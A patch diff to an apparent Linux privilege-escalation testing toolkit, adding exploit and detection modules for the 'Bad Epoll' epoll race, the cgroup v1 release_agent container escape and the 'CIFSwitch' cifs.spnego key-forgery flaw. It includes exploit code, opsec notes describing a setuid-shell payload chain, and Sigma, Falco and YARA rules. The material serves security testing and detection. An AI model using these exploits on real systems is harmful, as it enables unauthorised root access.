" tell: a previously-unprivileged process gaining euid 0 with no setuid\n"
|
||||
" execve in its ancestry. Expect false positives from legitimate\n"
|
||||
" privilege-management daemons; correlate with kernel oops/BUG lines.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
|
||||
" unpriv: {auid|expression: '>= 1000'}\n"
|
||||
" condition: uid0 and unpriv\n"
|
||||
"level: medium\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46242]\n";
|
||||
|
||||
static const char bad_epoll_falco[] =
|
||||
"- rule: Unprivileged process gained root, no setuid exec (possible CVE-2026-46242)\n"
|
||||
" desc: |\n"
|
||||
" Bad Epoll (CVE-2026-46242) epoll teardown race UAF has no clean\n"
|
||||
" behavioural signature — epoll syscalls are ubiquitous. This rule\n"
|
||||
" fires on the post-exploitation effect: a non-root process becoming\n"
|
||||
" root outside a setuid binary. False positives: privilege-management\n"
|
||||
" daemons, su/sudo flows (filter those). Correlate with kernel oops.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
|
||||
" not proc.is_setuid = true and user.uid != 0\n"
|
||||
" output: >\n"
|
||||
" Non-setuid unprivileged->root transition (possible CVE-2026-46242 Bad Epoll)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46242]\n";
|
||||
|
||||
const struct skeletonkey_module bad_epoll_module = {
|
||||
.name = "bad_epoll",
|
||||
.cve = "CVE-2026-46242",
|
||||
.summary = "epoll ep_remove-vs-__fput teardown race UAF (\"Bad Epoll\") — frees a live struct eventpoll; unprivileged, no userns needed",
|
||||
.family = "eventpoll",
|
||||
.kernel_range = "6.4 <= K < fix (introduced 58c9b016e128 / 6.4); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected",
|
||||
.detect = bad_epoll_detect,
|
||||
.exploit = bad_epoll_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel — no unprivileged-userns/CONFIG stopgap applies (epoll needs none) */
|
||||
.cleanup = NULL, /* trigger creates only throwaway epoll fds in a fork-isolated child; no host artifacts */
|
||||
.detect_auditd = bad_epoll_auditd,
|
||||
.detect_sigma = bad_epoll_sigma,
|
||||
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
|
||||
.detect_falco = bad_epoll_falco,
|
||||
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 6.4 introduced AND below the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) — no userns or CONFIG probe, because epoll is reachable by every unprivileged user. exploit() forks a CPU-pinned child that builds the epoll race pair (a waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a hard-bounded number of times (48 attempts / 2s), widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. It is deliberately UNDER-DRIVEN: it does not grind the race to a win, does not perform the cross-cache reclaim, and does not bundle the /proc/self/fdinfo arbitrary-read + ROP root-pop (per-kernel offsets refused); the trigger is reconstructed from the public kernelCTF PoC, not VM-verified. Telemetry footprint is nearly invisible: a burst of epoll_create1/epoll_ctl/dup/close from one process (indistinguishable from any event-loop program) and, only if the race actually fires on a vulnerable host, a possible KASAN oops or silent corruption (the bug rarely trips KASAN). No persistent files. The reliable detection signal is the post-exploitation euid-0 transition, not the epoll activity — see the shipped rules. Lowest --auto safety rank in the corpus: a kernel race that frees a live struct file is the least predictable thing here.",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_bad_epoll(void)
|
||||
{
|
||||
skeletonkey_register(&bad_epoll_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* bad_epoll_cve_2026_46242 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef BAD_EPOLL_SKELETONKEY_MODULES_H
|
||||
#define BAD_EPOLL_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module bad_epoll_module;
|
||||
|
||||
#endif
|
||||
@@ -57,6 +57,12 @@
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* CLONE_NEWCGROUP is not always in the toolchain's <sched.h>. */
|
||||
#ifndef CLONE_NEWCGROUP
|
||||
#define CLONE_NEWCGROUP 0x02000000
|
||||
#endif
|
||||
#define CGRA_CLONE_NEWCGROUP CLONE_NEWCGROUP
|
||||
|
||||
/* Stable-branch backport thresholds for the fix. */
|
||||
static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
||||
{4, 9, 301},
|
||||
@@ -65,7 +71,7 @@ static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
||||
{5, 4, 179},
|
||||
{5, 10, 100},
|
||||
{5, 15, 23},
|
||||
{5, 16, 9},
|
||||
{5, 16, 7}, /* Debian tracker: earlier than 5.16.9 in stable */
|
||||
{5, 17, 0}, /* mainline */
|
||||
};
|
||||
|
||||
@@ -178,10 +184,24 @@ static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
/* CHILD: enter userns + mountns, become "root" in userns.
|
||||
*
|
||||
* CRITICAL: capture the OUTER uid/gid BEFORE unshare. After
|
||||
* unshare(CLONE_NEWUSER) getuid() returns 65534 (nobody, the initial
|
||||
* unmapped id), so building the map from a post-unshare getuid() writes
|
||||
* "0 65534 1" — which the kernel rejects with EPERM (65534 is not the
|
||||
* writer's real outer uid). Reading it here, pre-unshare, yields the
|
||||
* real "0 1000 1" the single-uid self-map rule requires. */
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
/* CLONE_NEWCGROUP matters: without a private cgroup namespace the
|
||||
* unprivileged cgroup-v1 mount below is refused with EPERM on modern
|
||||
* kernels (verified on 5.4). With it, mounting an unused v1 controller
|
||||
* (rdma) in the userns succeeds. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CGRA_CLONE_NEWCGROUP) < 0) {
|
||||
/* fall back to the old flags if NEWCGROUP is unsupported */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
}
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
char map[64];
|
||||
@@ -359,6 +379,36 @@ static const char cgroup_ra_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||
|
||||
static const char cgroup_release_agent_yara[] =
|
||||
"rule cgroup_release_agent_cve_2022_0492 : cve_2022_0492 container_escape\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0492\"\n"
|
||||
" description = \"cgroup v1 release_agent payload + dropped setuid shell artifacts\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $payload = \"/tmp/skeletonkey-cgroup-payload.sh\" ascii\n"
|
||||
" $shell = \"/tmp/skeletonkey-cgroup-sh\" ascii\n"
|
||||
" $mnt = \"/tmp/skeletonkey-cgroup-mnt\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cgroup_release_agent_falco[] =
|
||||
"- rule: cgroup v1 mount by non-root with release_agent write\n"
|
||||
" desc: |\n"
|
||||
" A non-root process inside a userns mounts cgroup v1 and\n"
|
||||
" writes to a release_agent file. CVE-2022-0492 trigger:\n"
|
||||
" release_agent runs as init-ns root when cgroup empties.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = mount and evt.arg.fstype = cgroup and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" cgroup v1 mount by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid target=%evt.arg.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [container, mitre_privilege_escalation, T1611, cve.2022.0492]\n";
|
||||
|
||||
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.name = "cgroup_release_agent",
|
||||
.cve = "CVE-2022-0492",
|
||||
@@ -371,8 +421,10 @@ const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.cleanup = cgroup_ra_cleanup,
|
||||
.detect_auditd = cgroup_ra_auditd,
|
||||
.detect_sigma = cgroup_ra_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = cgroup_release_agent_yara,
|
||||
.detect_falco = cgroup_release_agent_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS), mount cgroup v1 at /tmp/skeletonkey-cgroup-mnt, write payload path to release_agent file at cgroup root, echo 1 to notify_on_release in subdir, add PID to cgroup.procs and exit. Payload at /tmp/skeletonkey-cgroup-payload.sh runs as init-namespace root when cgroup empties, dropping setuid /tmp/skeletonkey-cgroup-sh. Audit-visible via unshare + mount(cgroup) + open/write of release_agent. Cleanup callback removes /tmp/skeletonkey-cgroup-* and umounts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cgroup_release_agent(void)
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
# cifswitch — CVE-2026-46243 ("CIFSwitch")
|
||||
|
||||
The kernel's `cifs.spnego` request-key type trusts userspace-forged
|
||||
authority fields, letting the root `cifs.upcall` helper be coerced into
|
||||
loading an attacker NSS module as root.
|
||||
|
||||
## The bug
|
||||
|
||||
`fs/smb/client/cifs_spnego.c` registers the `cifs.spnego` key type so the
|
||||
kernel CIFS client can ask the root-privileged `cifs.upcall` helper to
|
||||
perform a SPNEGO/Kerberos exchange. The key *description* carries
|
||||
authority-bearing fields — `pid`, `uid`, `creduid`, `upcall_target` —
|
||||
that `cifs.upcall` reads as trusted, kernel-originating inputs.
|
||||
|
||||
The flaw: the kernel never verified the request actually came from the
|
||||
in-kernel CIFS client. Userspace can create keys of this type directly
|
||||
through `add_key(2)` / `request_key(2)`, supplying all those fields. By
|
||||
forging a description and manipulating user + mount namespaces, an
|
||||
unprivileged user makes `cifs.upcall` trust attacker-controlled state and
|
||||
load a malicious NSS shared library as root → root code execution.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw age | ~19 years (predates key-type origin checks) |
|
||||
| Fixed upstream | commit `3da1fdf4efbc`, merged 7.1-rc5 |
|
||||
| Debian backports | 5.10.257 · 6.1.174 · 6.12.90 · 7.0.10 |
|
||||
| NVD class | CWE-20 (Improper Input Validation) |
|
||||
| CISA KEV | no (as of disclosure) |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.8 / 6.11 …) are reported on
|
||||
the version-only verdict; confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` returns `OK` for patched kernels, `PRECOND_FAIL` for a
|
||||
vulnerable kernel where `cifs.upcall` / the `cifs.spnego` request-key rule
|
||||
isn't installed (cifs-utils absent → unreachable), and `VULNERABLE` when
|
||||
both the version and the userspace path line up. The precondition probe
|
||||
can be overridden with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (force present)
|
||||
or `0` (force absent).
|
||||
|
||||
`exploit()` fires the non-destructive primitive: `add_key(2)` of a
|
||||
forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked
|
||||
immediately. A clean accept is the witness that userspace can forge the
|
||||
authority-bearing key type. The full root-pop (namespace switch +
|
||||
malicious NSS load) is **not** bundled until VM-verified — honest
|
||||
`EXPLOIT_FAIL` without a euid-0 witness.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, blocklist the `cifs` module —
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(needs root) and `--cleanup` removes it. Already-loaded `cifs` persists
|
||||
until unmount + `rmmod cifs` or reboot.
|
||||
|
||||
## Credit
|
||||
|
||||
Asim Manizada (2026-05-28). See `NOTICE.md`.
|
||||
@@ -0,0 +1,92 @@
|
||||
# NOTICE — cifswitch (CVE-2026-46243, "CIFSwitch")
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46243 "CIFSwitch"** — the Linux kernel's `cifs.spnego`
|
||||
request-key type (`fs/smb/client/cifs_spnego.c`) accepts key descriptions
|
||||
created by **userspace** (via `add_key(2)` / `request_key(2)`) without
|
||||
verifying that the request originated from the in-kernel CIFS client. The
|
||||
key description carries authority-bearing fields — `pid`, `uid`,
|
||||
`creduid`, `upcall_target` — that the root-privileged `cifs.upcall`
|
||||
helper treats as trusted, kernel-originating inputs. An unprivileged
|
||||
local user forges such a description and, combined with user + mount
|
||||
namespace manipulation, coerces `cifs.upcall` into loading an
|
||||
attacker-controlled NSS shared library as root → local privilege
|
||||
escalation to root.
|
||||
|
||||
It is a **~19-year-old** logic flaw — the cifs spnego upcall predates the
|
||||
key-type origin checks added to the keyrings subsystem later. NVD class:
|
||||
**CWE-20** (Improper Input Validation). Not in CISA KEV (as of disclosure).
|
||||
|
||||
**Preconditions:** the `cifs` kernel module available, `cifs-utils`
|
||||
installed (so `cifs.upcall` is present), and the `cifs.spnego`
|
||||
request-key rule active. Default-vulnerable distributions reported
|
||||
include Linux Mint, CentOS Stream 9, Rocky Linux 9, AlmaLinux 9, Kali
|
||||
Linux, SLES 15 SP7, and Red Hat Enterprise Linux 6–10.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered, named, and disclosed by **Asim Manizada** on **2026-05-28**,
|
||||
with a working proof-of-concept published the same day.
|
||||
|
||||
- Red Hat advisory (RHSB-2026-005):
|
||||
<https://access.redhat.com/security/vulnerabilities/RHSB-2026-005>
|
||||
- BleepingComputer write-up:
|
||||
<https://www.bleepingcomputer.com/news/security/new-cifswitch-linux-flaw-gives-root-on-multiple-distributions/>
|
||||
- Upstream fix: commit `3da1fdf4efbc490041eb4f836bf596201203f8f2`
|
||||
("smb: client: reject userspace cifs.spnego descriptions"), merged
|
||||
7.1-rc5.
|
||||
- Debian-tracked stable backports: 5.10.257 (bullseye) / 6.1.174
|
||||
(bookworm) / 6.12.90 (trixie) / 7.0.10 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to Asim
|
||||
Manizada. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` gates on the kernel version (the Debian backport thresholds
|
||||
above) **and** the presence of the vulnerable userspace path
|
||||
(`cifs.upcall` / the `cifs.spnego` request-key rule) — a vulnerable
|
||||
kernel without `cifs-utils` is reported `PRECOND_FAIL`, not `VULNERABLE`.
|
||||
Override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (or `0`).
|
||||
|
||||
`exploit()` fires only the reachable, **non-destructive** part of the
|
||||
primitive: it attempts to register a forged-but-benign `cifs.spnego` key
|
||||
as the unprivileged user via `add_key(2)` — which instantiates the key
|
||||
directly and does **not** invoke `cifs.upcall`, so it loads nothing and
|
||||
spawns no privileged helper — and revokes the key immediately. A clean
|
||||
accept is the empirical witness that the missing-origin-validation flaw
|
||||
is present. It then **stops**: the namespace-switch + malicious-NSS-load
|
||||
chain that actually lands a root shell is target/config-specific and is
|
||||
**not** bundled until it can be verified end-to-end against a real
|
||||
vulnerable VM, in keeping with the project's no-fabrication rule.
|
||||
`exploit()` returns `EXPLOIT_FAIL` unless it can witness euid 0.
|
||||
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(blocklists the `cifs` module — the vendor-recommended runtime
|
||||
mitigation); `--cleanup` removes it. Architecture-agnostic — keyring and
|
||||
namespace logic, no shellcode.
|
||||
|
||||
## Verification status (partial)
|
||||
|
||||
Verified **2026-06-08** on **Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic**
|
||||
(QEMU/HVF, x86_64):
|
||||
|
||||
- `modprobe cifs` registers the `cifs.spnego` key type (dmesg:
|
||||
`Key type cifs.spnego registered`) — `cifs-utils` is **not** required to
|
||||
reach the primitive.
|
||||
- An **independent** `python3` `ctypes` probe calling
|
||||
`add_key("cifs.spnego", <forged uid/creduid/upcall_target>)` was
|
||||
**ACCEPTED** (a plain `user`-key control was also accepted), and the
|
||||
module's own `exploit()` independently reported **primitive CONFIRMED**
|
||||
then the honest `EXPLOIT_FAIL`.
|
||||
- `detect()` returned `PRECOND_FAIL` with `cifs-utils` absent and
|
||||
`VULNERABLE` under `SKELETONKEY_CIFS_ASSUME_PRESENT=1`.
|
||||
|
||||
**Still pending** (so this stays 🟡 and is *not* counted as a verified
|
||||
end-to-end CVE): (a) confirming `add_key` is **rejected** on a *patched*
|
||||
kernel (≥ 6.12.90 / 7.0.10) — i.e. that the probe distinguishes
|
||||
fixed-from-vulnerable rather than the key type always permitting userspace
|
||||
creation; and (b) the full namespace + malicious-NSS root-pop, which
|
||||
remains unbundled.
|
||||
@@ -0,0 +1,419 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46243 "CIFSwitch" — the kernel's `cifs.spnego` request-key
|
||||
* type accepts key descriptions created by *userspace* (via add_key(2) /
|
||||
* request_key(2)) without verifying the request originated from the
|
||||
* in-kernel CIFS client. Those descriptions carry authority-bearing
|
||||
* fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
|
||||
* root-privileged `cifs.upcall` helper trusts as kernel-originating.
|
||||
* An unprivileged user forges a description and — combined with user +
|
||||
* mount namespace manipulation — coerces `cifs.upcall` into loading an
|
||||
* attacker-controlled NSS shared library as root → local root.
|
||||
*
|
||||
* Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
|
||||
* ~19-year-old bug: the cifs spnego upcall predates the key-type origin
|
||||
* checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
|
||||
* 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
|
||||
* NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* Structural logic flaw — no offsets, no race, no shellcode. detect()
|
||||
* gates on (a) the kernel version (Debian-tracked backports below) and
|
||||
* (b) the presence of the vulnerable userspace path: the `cifs.upcall`
|
||||
* helper / `cifs.spnego` request-key rule. A vulnerable kernel without
|
||||
* cifs-utils is not reachable via this technique, so that case is
|
||||
* PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
|
||||
* non-destructive part of the primitive — it attempts to register a
|
||||
* forged-but-benign `cifs.spnego` key as the unprivileged user (via
|
||||
* add_key(2), which does NOT invoke cifs.upcall) and observes whether
|
||||
* the kernel accepts a userspace-originated description — then STOPS.
|
||||
* The namespace-switch + malicious-NSS-load that turns that into a
|
||||
* root shell is target/config-specific and is not bundled until it can
|
||||
* be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
|
||||
* witness; never fabricates root.
|
||||
*
|
||||
* Affected range (Debian-tracked stable backports of the fix):
|
||||
* 5.10.x : K >= 5.10.257 (bullseye)
|
||||
* 6.1.x : K >= 6.1.174 (bookworm)
|
||||
* 6.12.x : K >= 6.12.90 (trixie)
|
||||
* 7.0.x : K >= 7.0.10 (forky / sid); mainline fixed 7.1-rc5
|
||||
* Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
|
||||
* through to the version-only verdict — confirm empirically.
|
||||
*
|
||||
* Preconditions: cifs kernel module available + cifs-utils installed
|
||||
* (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
|
||||
* Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
|
||||
* = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
|
||||
* posture better than a local file probe can (also drives unit tests).
|
||||
*
|
||||
* arch_support: any. Keyring + namespace logic; no shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* keyring syscalls live in libkeyutils, not glibc — call them directly.
|
||||
* The asm-generic numbers below match x86_64 / arm64 / most arches; fall
|
||||
* back only when the toolchain headers don't already define them. */
|
||||
#ifndef SYS_add_key
|
||||
#define SYS_add_key 248
|
||||
#endif
|
||||
#ifndef SYS_keyctl
|
||||
#define SYS_keyctl 250
|
||||
#endif
|
||||
|
||||
/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
|
||||
#ifndef KEYCTL_REVOKE
|
||||
#define KEYCTL_REVOKE 3
|
||||
#endif
|
||||
#ifndef KEY_SPEC_PROCESS_KEYRING
|
||||
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||
#endif
|
||||
|
||||
typedef int sk_key_serial_t;
|
||||
|
||||
static sk_key_serial_t sk_add_key(const char *type, const char *desc,
|
||||
const void *payload, size_t plen,
|
||||
sk_key_serial_t keyring)
|
||||
{
|
||||
return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
|
||||
payload, plen, keyring);
|
||||
}
|
||||
static long sk_keyctl_revoke(sk_key_serial_t key)
|
||||
{
|
||||
return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
|
||||
}
|
||||
|
||||
/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
|
||||
* mainline 7.1-rc5). These are the authoritative thresholds
|
||||
* (security-tracker.debian.org). Branches Debian doesn't ship fall
|
||||
* through to the version-only verdict in detect(). */
|
||||
static const struct kernel_patched_from cifswitch_patched_branches[] = {
|
||||
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 174}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 10}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range cifswitch_range = {
|
||||
.patched_from = cifswitch_patched_branches,
|
||||
.n_patched_from = sizeof(cifswitch_patched_branches) /
|
||||
sizeof(cifswitch_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* Is the vulnerable userspace path present? The load-bearing signal is
|
||||
* the cifs.upcall helper (the privileged component the bug abuses); the
|
||||
* cifs.spnego request-key rule and a loaded/loadable cifs module
|
||||
* corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
|
||||
* "1" = present, "0" = absent (operators who know their fleet's CIFS
|
||||
* posture, and the unit tests, use this). */
|
||||
static bool cifs_userspace_present(void)
|
||||
{
|
||||
const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||
if (force && (force[0] == '1' || force[0] == '0'))
|
||||
return force[0] == '1';
|
||||
|
||||
struct stat st;
|
||||
static const char *upcall_paths[] = {
|
||||
"/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
|
||||
"/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
|
||||
};
|
||||
for (size_t i = 0; upcall_paths[i]; i++)
|
||||
if (stat(upcall_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
/* request-key rule for cifs.spnego (cifs-utils ships this). */
|
||||
static const char *reqkey_paths[] = {
|
||||
"/etc/request-key.d/cifs.spnego.conf",
|
||||
"/usr/share/request-key.d/cifs.spnego.conf", NULL,
|
||||
};
|
||||
for (size_t i = 0; reqkey_paths[i]; i++)
|
||||
if (stat(reqkey_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* A patched kernel is not vulnerable regardless of the userspace
|
||||
* path — decide that first so the verdict is deterministic. */
|
||||
if (kernel_range_is_patched(&cifswitch_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] cifswitch: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
|
||||
* path; without it the technique is unreachable here. */
|
||||
if (!cifs_userspace_present()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
|
||||
"range but cifs.upcall / cifs.spnego request-key "
|
||||
"rule not found — cifs-utils not installed, bug "
|
||||
"not reachable here\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
|
||||
"re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
|
||||
"present — CVE-2026-46243 reachable\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
|
||||
"descriptions (pid/uid/creduid/upcall_target) the root "
|
||||
"cifs.upcall helper trusts\n");
|
||||
fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.8/6.11) are version-only here; confirm with "
|
||||
"`--exploit cifswitch --i-know`\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = cifswitch_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
|
||||
"refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachable, non-destructive primitive witness: can we, as an
|
||||
* unprivileged user, register a cifs.spnego key carrying the
|
||||
* authority-bearing fields? add_key(2) instantiates the key directly
|
||||
* — it does NOT invoke cifs.upcall (that is request_key's upcall
|
||||
* path), so this loads nothing and triggers no privileged helper. On
|
||||
* a VULNERABLE kernel the type accepts the userspace-originated
|
||||
* description; the fix (3da1fdf4efbc) rejects it. We revoke any key
|
||||
* we create immediately. A clean accept is the empirical signal that
|
||||
* the missing-origin-validation flaw is present; any error is treated
|
||||
* as inconclusive (could be patched, or add_key unsupported for the
|
||||
* type) and reported honestly — we never infer root from it. */
|
||||
const char *desc =
|
||||
"ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
|
||||
"uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
|
||||
errno = 0;
|
||||
sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
|
||||
KEY_SPEC_PROCESS_KEYRING);
|
||||
if (k > 0) {
|
||||
sk_keyctl_revoke(k); /* don't leave the probe key lying around */
|
||||
fprintf(stderr,
|
||||
"[!] cifswitch: primitive CONFIRMED — kernel accepted a "
|
||||
"userspace-forged cifs.spnego key (serial %d) carrying "
|
||||
"uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
|
||||
fprintf(stderr,
|
||||
"[i] cifswitch: the full root-pop (user+mount namespace switch "
|
||||
"coercing cifs.upcall to load an attacker NSS module as root) is "
|
||||
"target/config-specific and NOT bundled until VM-verified. Not "
|
||||
"fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
|
||||
"unavailable in this kernel build\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
|
||||
